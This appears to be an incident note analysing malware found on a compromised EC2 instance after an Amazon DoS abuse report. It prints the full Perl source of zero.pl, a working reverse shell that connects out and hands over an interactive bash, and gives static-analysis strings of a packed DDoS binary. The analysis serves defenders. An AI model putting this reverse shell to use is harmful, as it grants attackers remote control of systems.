Virus/zero.pl

From: Amazon EC2 Abuse Subject: Your Amazon EC2 Abuse Report [16614771493-2] Date: July 7, 2014 at 6:41:49 AM MST Reply-To: Amazon EC2 Abuse 

Dear Amazon EC2 Customer,

We've received a report that your instance(s):

Instance Id: i-XXXXXXXX

has been making Denial of Service attacks against remote hosts on the Internet.

Check the information provided below by the abuse reporter.

This is specifically forbidden in our User Agreement: http://aws.amazon.com/agreement/

Please immediately restrict the flow of traffic from your instances(s) to cease disruption to other networks and reply this email to send your reply of action to the original abuse reporter. This will activate a flag in our ticketing system, letting us know that you have acknowledged receipt of this email.

It's possible that your environment has been compromised by an external attacker. It remains your responsibility to ensure that your instances and all applications are secured. The link http://developer.amazonwebservices.com/connect/entry.jspa?externalID=1233 provides some suggestions for securing your instances.

It has come to our attention that Denial of Service (DoS) attacks were launched from your instance to IP XXX.XXX.XXX.XXX via UDP port(s) 80. Please investigate your instance(s) and reply detailing the corrective measures you will be taking to address this activity.

Case number: 16614771493-1

Additional abuse report information provided by original abuse reporter: <<< It has come to our attention that Denial of Service (DoS) attacks were launched from your instance to IP 116.31.100.90 via UDP port(s) 80. Please investigate your instance(s) and reply detailing the corrective measures you will be taking to address this activity.
 * Destination IPs:
 * Destination Ports:
 * Destination URLs:
 * Abuse Time: Mon Jul 07 13:25:43 UTC 2014
 * Log Extract:

In the meantime, we have blocked outbound UDP 80 on the instance(s) to prevent further abuse.

If you believe that you were compromised by an external attacker, the best recourse is to back up your data, migrate your applications to a new instance, and terminate the old one. Attempting to repair a compromised instance does not guarantee a successful cleanup in most cases. We recommend reviewing the following resources to ensure your EC2 environment is properly secured:

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/using-network-security.html
 * Amazon EC2 Security Groups User Guide:

http://aws.amazon.com/security/security-resources/
 * AWS Security Resources:

https://media.amazonwebservices.com/AWS_Security_Best_Practices.pdf
 * AWS Security Best Practices:

Thanks in advance for your attention to this report.

Files found: c3fd28831d9fc683000273643b5bef12 zero.pl 4206e8b780cf3758baa76b1002e61792  .Linux_time_y_2015

Guessing they somehow came through a security exploit in ElasticSearch.

zero.pl: (also found here: )
 * 1) !/usr/bin/perl -w

use strict; use Socket; use IO::Handle;

if($#ARGV+1 != 2){ print "$#ARGV $0 Remote_IP Remote_Port \n"; exit 1; }

my $remote_ip = $ARGV[0]; my $remote_port = $ARGV[1];

my $proto = getprotobyname("tcp"); my $pack_addr = sockaddr_in($remote_port, inet_aton($remote_ip));

my $shell = '/bin/bash -i';

socket(SOCK, AF_INET, SOCK_STREAM, $proto);

STDOUT->autoflush(1); SOCK->autoflush(1);

connect(SOCK,$pack_addr) or die "can not connect:$!";

open STDIN, "<&SOCK"; open STDOUT, ">&SOCK"; open STDERR, ">&SOCK";

print "Enjoy the shell.\n";

system($shell); close SOCK;

exit 0;

.Linux_time_y_2015: (binary)
 * statically linked executable
 * file: linux: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, stripped
 * strings:
 * "This file is packed with the UPX executable packer http://upx.sf.net"
 * upx decompressed strings:
 * "std::basic_string" -- implies it was a C++ source file
 * "Keld Simonsen" -- fluke? compiler?
 * "keld@dkuug.dk"
 * "+45 3122-6543"
 * "+45 3325-6543"
 * "1997-12-20"
 * "ISO/IEC JTC1/SC22/WG20 - internationalization"
 * "C/o Keld Simonsen, Skt. Jorgens Alle 8, DK-1615 Kobenhavn V"
 * "GCC: (GNU) 4.0.0 20050519 (Red Hat 4.0.0-8)" -- compiler
 * Source files mentioned: (possibly related: )
 * Fake.cpp
 * Global.cpp
 * main.cpp
 * Manager.cpp
 * ServerIP.cpp
 * StatBase.cpp
 * ThreadAttack.cpp
 * ThreadHostStatus.cpp
 * ThreadTaskManager.cpp
 * ThreadTimer.cpp
 * AutoLock.cpp
 * FileOp.cpp
 * Log.cpp
 * Md5.cpp
 * Media.cpp
 * NetBase.cpp
 * ThreadCondition.cpp
 * Thread.cpp
 * ThreadMutex.cpp
 * Utility.cpp